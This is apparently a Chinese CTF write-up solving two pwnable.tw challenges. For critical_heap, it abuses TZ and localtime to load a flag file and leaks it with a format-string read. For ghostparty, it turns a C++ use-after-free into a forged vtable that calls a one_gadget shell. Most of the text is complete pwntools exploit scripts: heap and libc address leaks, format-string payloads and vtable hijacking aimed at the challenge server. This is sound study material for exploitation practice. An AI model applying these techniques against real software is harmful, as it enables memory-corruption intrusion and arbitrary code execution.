2021年1月

分析

这题主要是三个结构体的利用:

  1. normal heap
  2. clock heap
  3. system heap

normal heap可以在bss上输入content,当play时调用重写功能后,结构体最末尾8个字节会被填满,此时如果content填满0x28个字符后可以泄露出下一个结构体的name指针也就是堆地址,同时show功能存在格式化字符串漏洞,虽然是调用的__printf_chk,但是由于栈上有一个可控的buf,可以很容易做到任意地址泄露。

创建clock heap调用了localtime,当环境变量中存在TZTZDIR时,这个函数会把两者拼接成一个完整地址,将地址指向的文件读入堆内存做一系列处理,最后返回一个指向libc中结构体的指针,供用户读取具体时间参数。虽然读入文件内容的内存会被释放而合并到top chunk中,但是没有被覆盖掉。

此时发现system heap正好可以设置环境变量,于是大功告成,思路有了。

思路

  1. 泄露堆地址;

  2. 设置TZ环境变量,为flag文件地址;

  3. 创建clock heap

  4. 格式化字符串泄露flag

EXP

from pwn import *

#p = process("./critical_heap")
p = remote("chall.pwnable.tw", 10500)
elf = ELF("./critical_heap")
libc = ELF("./libc.so.6")
context.log_level = "debug"

flag_path = b"/home/critical_heap++/flag"
#flag_path = b"/flag"

def create_normal(name, content):
    '''create_normal(name, content)'''
    p.sendafter(b"Your choice : ", b"1\n")
    p.sendafter(b"Name of heap:", name)
    p.sendafter(b"Your choice : ", b"1\n")
    p.sendafter(b"Content of heap :", content)

def create_clock(name):
    '''create_clock(name)'''
    p.sendafter(b"Your choice : ", b"1\n")
    p.sendafter(b"Name of heap:", name)
    p.sendafter(b"Your choice : ", b"2\n")

def create_system(name):
    '''create_system(name)'''
    p.sendafter(b"Your choice : ", b"1\n")
    p.sendafter(b"Name of heap:", name)
    p.sendafter(b"Your choice : ", b"3\n")

def show_heap(idx:int):
    '''show_heap(idx:int)'''
    p.sendafter(b"Your choice : ", b"2\n")
    p.sendafter(b"Index of heap :", str(idx).encode()+b"\n")

def rename_heap(idx:int, name):
    '''rename_heap(idx:int, name)'''
    p.sendafter(b"Your choice : ", b"3\n")
    p.sendafter(b"Index of heap :", str(idx).encode()+b"\n")
    p.sendafter(b"Name of heap:", name)

def show_normal_content(idx:int):
    '''show_normal_content(idx:int)'''
    p.sendafter(b"Your choice : ", b"4\n")
    p.sendafter(b"Index of heap :", str(idx).encode()+b"\n")
    p.sendafter(b"Your choice : ", b"1\n")
    p.sendafter(b"Your choice : ", b"3\n") #return

def change_normal_content(idx:int, content):
    '''change_normal_content(idx:int, content)'''
    p.sendafter(b"Your choice : ", b"4\n")
    p.sendafter(b"Index of heap :", str(idx).encode()+b"\n")
    p.sendafter(b"Your choice : ", b"2\n")
    p.sendafter(b"Content :", content)
    p.sendafter(b"Your choice : ", b"3\n") #return

def leak_ptr_content(normal_idx:int, ptr, ret:int):
    '''use normal heap's fmt bug'''
    p.sendafter(b"Your choice : ", b"4\n")
    p.sendafter(b"Index of heap :", str(normal_idx).encode()+b"\n")
    p.sendafter(b"Your choice : ", b"2\n")
    payload = (b"%p"*12+b"||%s").ljust(0x20, b"a") + p64(ptr)
    print("len(payload):", hex(len(payload)))
    p.sendafter(b"Content :", payload)
    p.sendafter(b"Your choice : ", b"1\n") #show
    if ret==1:
        p.sendafter(b"Your choice : ", b"3\n") #return

def show_clock(idx:int):
    '''show_clock(idx:int)'''
    p.sendafter(b"Your choice : ", b"4\n")
    p.sendafter(b"Index of heap :", str(idx).encode()+b"\n")
    p.sendafter(b"Your choice : ", b"1\n")
    p.sendafter(b"Your choice : ", b"3\n") #return

def update_clock(idx:int):
    '''update_clock(idx:int)'''
    p.sendafter(b"Your choice : ", b"4\n")
    p.sendafter(b"Index of heap :", str(idx).encode()+b"\n")
    p.sendafter(b"Your choice : ", b"2\n")
    p.sendafter(b"Your choice : ", b"3\n") #return

def set_system_env(idx:int, name, value):
    '''set_system_env(idx:int, name, value)'''
    p.sendafter(b"Your choice : ", b"4\n")
    p.sendafter(b"Index of heap :", str(idx).encode()+b"\n")
    p.sendafter(b"Your choice : ", b"1\n")
    p.sendafter(b"Give me a name for the system heap :", name)
    p.sendafter(b"Give me a value for this name :", value)
    p.sendafter(b"Your choice : ", b"5\n") #return

def del_system_env(idx:int, name):
    '''del_system_env(idx:int, name)'''
    p.sendafter(b"Your choice : ", b"4\n")
    p.sendafter(b"Index of heap :", str(idx).encode()+b"\n")
    p.sendafter(b"Your choice : ", b"1\n")
    p.sendafter(b"What's name do you want to unset :", name)
    p.sendafter(b"Your choice : ", b"5\n") #return

def get_realpath(idx:int):
    '''get_realpath(idx:int)'''
    p.sendafter(b"Your choice : ", b"4\n")
    p.sendafter(b"Index of heap :", str(idx).encode()+b"\n")
    p.sendafter(b"Your choice : ", b"3\n")

def get_value_of_name(idx:int, name):
    '''get_value_of_name(idx:int, name)'''
    p.sendafter(b"Your choice : ", b"4\n")
    p.sendafter(b"Index of heap :", str(idx).encode()+b"\n")
    p.sendafter(b"Your choice : ", b"4\n")
    p.sendafter(b"What's name do you want to see :", name)
    p.sendafter(b"Your choice : ", b"5\n") #return 

def delete_heap(idx:int):
    '''delete_heap(idx:int)'''
    p.sendafter(b"Your choice : ", b"5\n")
    p.sendafter(b"Index of heap :", str(idx).encode()+b"\n")   

def exp():
    # leak heap
    create_normal(b"AAAA", b"a"*0x28) #0
    create_system(b"BBBB") #1
    change_normal_content(idx=0, content=b"a"*0x28)
    show_heap(idx=0)
    p.recvuntil(b"\x1b!\x1b!")
    heap_leak = u64(p.recvuntil(b"\n", drop=True).ljust(8, b"\x00"))
    heap_base = heap_leak - 0x30
    print("heap_leak:", hex(heap_leak))
    print("heap_base:", hex(heap_base))

    # modify TZ

    set_system_env(idx=1, name=b"TZ", value=flag_path)
    create_clock(b"DDDD") #2

    heap_flag_ptr = heap_base + 0x440

    # fnt str leak flag
    #gdb.attach(p, "b *0x40194b\nc\n")
    create_normal(b"CCCC", b"a"*0x28) #3
    leak_ptr_content(normal_idx=3, ptr=heap_flag_ptr, ret=0)
    p.recvuntil(b"||")
    flag = p.recvuntil(b"}").decode()
    print(flag)
    #gdb.attach(p)
    p.interactive()

if __name__ == "__main__":
    exp()

分析

这题乍一看感觉到处都是洞...而且非常纷乱,难以理清思路。但是这题最关键的洞在于实现部分GHOST子类的时候缺少拷贝构造函数。于是应该重点检查成员变量在vector::push_back()触发浅拷贝时的安全性。如吸血鬼Vampire类中char *blood在浅拷贝析构时会发生delete[] blood;。也就是说当一个Vampire实例放入vector中时,它的blood指针就指向了一块释放过的区域,这是本题最关键的利用点。

思路

  1. 知道Vampire存在UAF后应该想如何利用。这里发现如果UAF的堆块大于fast chunk得话,其被释放后立刻会合并到top chunk无法利用,不能直接泄露libc地址;

  2. 于是绕道。我们发现部分类在内存中分配的大小是相等的,如werewolfVampire都是0x70,在fast chunk范围内。也就是说,我们可以创建一个werewolf重新申请回被释放掉的堆块。由于类结构体重要性非常高...于是通过该方法控制类结构体是很可行的;

  3. 完成2中的重申请后,此时应该可以泄露出werewolfvtable从而计算二进制文件的基址;

  4. 此时,释放掉最开始的Vampire。这个释放对于Vampire来说是deep free而对于werewolf来说是shadow free。下面需要用到一个大小同样是0x70且各方面比较“正常”不容易破坏堆结构的类——Mummy。通过调试分析发现,如果在创建Mummy实例时msg大小为0x5f就会覆盖werewolf的类结构。按照这里我们可以伪造werewolf的类结构——保持vtable不变(重要)的情况下修改name指针为保存了堆地址的位置。下次列出所有name的时候就完成了地址泄露;

  5. 按照4中的思路,泄露出__libc_start_main的got表值,计算出libc基址,以及one_gadget地址;

  6. 最后一步,伪造一个vtable。由调试发现vtable+0x10的位置是self.showinfo的函数指针。伪造该指针为one_gadget后替换werewolf的虚表,然后调用该指针完成getshell

其它

  1. 有一个类里面似乎读了flag相关的东西,但是解题没用上,可能这题是多解。或者说原先是个AD题。

EXP:

from pwn import *
import time

#p = process("./ghostparty")
p = remote("chall.pwnable.tw", 10401)
elf = ELF("./ghostparty")
#libc = ELF("./libc_64.so.6")
libc = ELF("./libc_64.so.6")
context.log_level = "debug"

'''
-----------------
 1.Werewolf      
 2.Devil         
 3.Zombie        
 4.Skull         
 5.Mummy         
 6.Dullahan      
 7.Vampire       
 8.Yuki-onna     
 9.Kasa-obake    
 10.Alan         
-----------------
'''

# const
TYPE_WEREWOLF = 0x1
TYPE_DEVIL = 0x2
TYPE_ZOMBIE = 0x3
TYPE_SKULL = 0x4
TYPE_MUMMY = 0x5
TYPE_DULLAHAN = 0x6
TYPE_VAMPIRE = 0x7
TYPE_YUKI = 0x8
TYPE_KASA = 0x9
TYPE_ALAN = 0xa

ACTION_JOIN = 0x1
ACTION_GIVEUP = 0x2
ACTION_JOINANDSHOW = 0x3

vector_ghostlist_offset = 0x211030
libc_start_main_got_offset = 0x210E90

one_list_local = [0x45226, 0x4527a, 0xf0364, 0xf1207]
one_list_remote = [0x45216, 0x4526a, 0xef6c4, 0xf0567]

def _add_ghost(name, age:int, msg, ghost_type:int):
    p.sendafter(b"Your choice :", b"1\n")
    p.sendafter(b"Name : ", name+b"\n")
    p.sendafter(b"Age : ", str(age).encode()+b"\n")
    p.sendafter(b"Message : ", msg+b"\n")
    p.recvuntil(b"Choose a type of ghost :")
    p.sendline(str(ghost_type).encode())

def _do_action(action):
    p.sendafter(b"Your choice : ", str(action).encode()+b"\n")

def get_name_list():
    p.sendafter(b"Your choice :", b"2\n")

'''
1.Join       
2.Give up
3.Join and hear what the ghost say
'''

def add_werewolf(name, age:int, msg, full_moon:int, action:int):
    '''name, age:int, msg, full_moon:int, action:int'''
    _add_ghost(name, age, msg, TYPE_WEREWOLF)
    p.sendafter(b"Full moon ? (1:yes/0:no):", str(full_moon).encode()+b"\n")
    _do_action(action)

def add_devil(name, age:int, msg, power, action:int):
    '''name, age:int, msg, power, action:int'''
    _add_ghost(name, age, msg, TYPE_DEVIL)
    p.sendafter(b"Add power : ", power+b"\n")
    _do_action(action)

def add_zombie(name, age:int, msg, action:int):
    '''name, age:int, msg, action:int'''
    _add_ghost(name, age, msg, TYPE_ZOMBIE)
    _do_action(action)

def add_skull(name, age:int, msg, bones:int, action:int):
    '''name, age:int, msg, bones:int, action:int'''
    _add_ghost(name, age, msg, TYPE_SKULL)
    p.sendafter(b"How many bones ? : ", str(bones).encode()+b"\n")
    _do_action(action)

def add_mummy(name, age:int, msg, commit, action:int):
    '''name, age:int, msg, commit, action:int'''
    _add_ghost(name, age, msg, TYPE_MUMMY)
    p.sendafter(b"Commit on bandage : ", commit+b"\n")
    _do_action(action)

def add_dullahan(name, age:int, msg, weapon, action:int):
    '''name, age:int, msg, weapon, action:int'''
    _add_ghost(name, age, msg, TYPE_DULLAHAN)
    p.sendafter(b"Give a weapon : ", weapon+b"\n")
    _do_action(action)

def add_vampire(name, age:int, msg, blood, action:int):
    '''name, age:int, msg, blood, action:int'''
    _add_ghost(name, age, msg, TYPE_VAMPIRE)
    p.sendafter(b"Add blood :", blood+b"\n")
    _do_action(action)

def add_yuki(name, age:int, msg, cold, action:int):
    '''name, age:int, msg, cold, action:int'''
    _add_ghost(name, age, msg, TYPE_YUKI)
    p.sendafter(b"Cold :", cold+b"\n")
    _do_action(action)

def add_kasa(name, age:int, msg, foot:int, eyes, echo, action:int):
    '''name, age:int, msg, foot:int, eyes, echo, action:int'''
    _add_ghost(name, age, msg, TYPE_KASA)
    p.sendafter(b"foot number :", str(foot).encode()+b"\n")
    p.sendafter(b"Eyes : ", eyes+b"\n")
    p.sendafter(b"Input to echo :", echo)
    _do_action(action)

def add_alan(name, age:int, msg, lightsaber, action:int):
    '''name, age:int, msg, lightsaber, action:int'''
    _add_ghost(name, age, msg, TYPE_ALAN)
    p.sendafter(b"Your lightsaber : ", lightsaber+b"\n")
    _do_action(action)

def show_ghost(idx:int):
    p.sendafter(b"Your choice :", b"2\n")
    p.sendafter(b"which you want to show in the party : ", str(idx).encode()+b"\n")

def night():
    p.sendafter(b"Your choice :", b"3\n")

def rmghost(idx:int):
    p.sendafter(b"Your choice :", b"4\n")
    p.sendafter(b"which you want to remove from the party : ", str(idx).encode()+b"\n")

def end_party():
    p.sendafter(b"Your choice :", b"5\n")

def get_fake_werewolf_obj(vtable, ptr_to_leak):
    return (p64(vtable) + p64(0) + p64(ptr_to_leak)).ljust(0x5f, b"\x00")

def exp():
    # leak vtable && image_base
    add_vampire(name=b"AAAA", age=1, msg=b"aaaa", blood=b"a"*0x5f, action=ACTION_JOINANDSHOW) #0
    add_werewolf(name=b"BBBB", age=1, msg=b"bbb", full_moon=1, action=ACTION_JOINANDSHOW) #1
    show_ghost(0)
    p.recvuntil(b"Blood : ")
    vtable_leak = u64(p.recvuntil(b"\n", drop=True).ljust(8, b"\x00")) # werewolf's vtable
    werewolf_vtable = vtable_leak
    image_base = vtable_leak - 0x210b98
    print("[*] vtable_leak:", hex(vtable_leak))
    print("[*] image_base:", hex(image_base))

    # leak heap
    ## deep free obj_0 && shallow free obj_1
    rmghost(0)
    vector_ghostlist = image_base + vector_ghostlist_offset
    fake_werewolf_obj = get_fake_werewolf_obj(werewolf_vtable, vector_ghostlist)
    add_mummy(name=b"CCCC", age=1, msg=fake_werewolf_obj, commit=b"leak", action=ACTION_JOINANDSHOW) #1
    show_ghost(0) # leak what name_ptr point to
    p.recvuntil(b"Name : ")
    heap_leak = u64(p.recvuntil(b"\n", drop=True).ljust(8, b"\x00"))
    heap_base = heap_leak - 0x12d40
    print("[*] heap_leak:", hex(heap_leak))
    print("[*] heap_base:", hex(heap_base))

    # leak libc
    ## deep free obj_1 && shallow free obj_0
    rmghost(1)
    libc_start_main_got = image_base + libc_start_main_got_offset
    fake_werewolf_obj = get_fake_werewolf_obj(werewolf_vtable, libc_start_main_got)
    add_mummy(name=b"DDDD", age=1, msg=fake_werewolf_obj, commit=b"leak", action=ACTION_JOINANDSHOW) #1
    get_name_list()
    p.recvuntil(b": ")
    libc_leak = u64(p.recvuntil(b"\n", drop=True).ljust(8, b"\x00"))
    libc_base = libc_leak - libc.symbols[b"__libc_start_main"]
    print("[*] libc_leak:", hex(libc_leak))
    print("[*] libc_base:", hex(libc_base))
    p.sendline(b"1")

    # attack vtable
    rmghost(1)
    fake_vtable_addr = heap_base + 0x12e40 + 0x8
    one_gadget = libc_base + one_list_remote[2]
    fake_vtable = p64(0)*2 + p64(one_gadget) # vtable+0x10 -> self.showinfo()
    fake_werewolf_obj = (p64(fake_vtable_addr) + fake_vtable).ljust(0x5f, b"\x00")
    add_mummy(name=b"EEEE", age=1, msg=fake_werewolf_obj, commit=b"shell", action=ACTION_JOINANDSHOW) #0/1

    # getshell
    p.sendline(b"2")
    p.sendline(b"0") # call self.showinfo() -> one_gadget to get shell

    #gdb.attach(p)
    p.interactive()

if __name__ == "__main__":
    exp()